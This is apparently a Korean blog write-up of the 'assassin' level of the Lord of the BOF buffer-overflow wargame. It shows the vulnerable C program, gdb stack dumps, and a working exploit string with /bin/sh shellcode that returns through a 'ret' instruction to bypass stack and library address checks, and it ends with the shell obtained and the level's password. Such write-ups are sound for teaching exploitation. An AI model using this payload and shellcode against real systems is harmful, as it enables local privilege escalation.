[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')    //ret주소로 스택주소를 사용 할 수 없다.

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')        //ret주소로 라이브러리 영역을 사용할 수 없다.

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);        //버퍼영역이 모두 0으로 초기화 된다.

}



[giant@localhost giant]$ ulimit -c 1024

[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\xbf\xbf\xbf\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

stack retbayed you!


ret어드레스 공간에 \xbf로 시작하는 주소를 넣으니 exit(0);으로 프로그램이 종료되는 것을 알 수 있엇다.


[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\xbb\xbb\xbb\xbb"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

         ̀

Segmentation fault (core dumped)


위와 같이 buf(40) | sfp(4) | ret(4) | nop+shellcode <---에서 ret공간에 \xbf로 시작하지 않고 \x40으로 시작하지 않는 주소를 넣어 core파일을 생성해본다.



[giant@localhost giant]$ gdb ./assassi1 ./core                                  GNU gdb 19991004
#0  0xbbbbbbbb in ?? ()
(gdb) x/200x $esp

0xbffffbc0:     0x2f2e0036      0x61737361      0x31697373      0x41414100
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffffbf0:     0x41414141      0x41414141      0xbbbbbb41      0x909090bb
0xbffffc00:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc10:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc20:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc30:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc40:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc50:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc60:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
0xbffffc70:     0xe1895350      0x0bb0d231      0x500080cd      0x2f3d4457
0xbffffc80:     0x656d6f68      0x6169672f      0x5200746e      0x544f4d45
0xbffffc90:     0x534f4845      0x39313d54      0x36312e32      0x39352e38
0xbffffca0:     0x4800312e      0x4e54534f      0x3d454d41      0x61636f6c
0xbffffcb0:     0x736f686c      0x6f6c2e74      0x646c6163      0x69616d6f
0xbffffcc0:     0x454c006e      0x504f5353      0x7c3d4e45      0x7273752f
0xbffffcd0:     0x6e69622f      0x73656c2f      0x70697073      0x68732e65
0xbffffce0:     0x00732520      0x52455355      0x6169673d      0x4c00746e

(gdb) disas main

0x8048514 <main+164>:   push   %eax

0x8048515 <main+165>:   call   0x8048398 <memset>

0x804851a <main+170>:   add    $0xc,%esp

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop




RTL도 불가능하고 스택도 사용할 수 없는데 어떻게 exploit이 가능할까? 방법은 간단하다. 프로그램의 모든 함수에는 함수 시작과 끝에 함수 프롤로그와 에필로그(leave + ret)가 존재한다. 그 과정은 스택프레임포인터에 이전의 스택주소를 담아두고 ret공간에는 다음 실행될 명령어의 주소를 담아두고 함수가 종료되고 다시 이전의 흐름으로 돌아오는 과정이다. 특히 그 중 에서도 이번 문제에서는 코드영역중 ret을 하는 명령의 주소를 이용한다. 그 주소를 ret어드레스 공간에 넣게 되면  ret = pop eip + jmp eip 과정에서 nop를 타고 shellcode가 실행될 것이다.


[giant@localhost giant]$ ./assassi1 `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x10\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

        ̀

bash$ whoami

giant



마찬가지로 원본 파일에 같은 페이로드를 적용시켜보면 exploit이 가능하다.




[giant@localhost giant]$ ./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x10\xfc\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒1Ұ

        ̀

bash$ whoami

assassin

bash$ my-pass

euid = 515

pushing me away



'System Hacking > Lord of Buffer overflow' 카테고리의 다른 글

17.lob zombie_assassin->succubus  (0) 2018.01.15
16.lob assassin->zombie_assassin  (0) 2018.01.14
14.bugbear->giant  (0) 2018.01.11
13.lob darkknight->bugbear  (0) 2018.01.10
12.lob golem->darknight  (0) 2018.01.09

+ Recent posts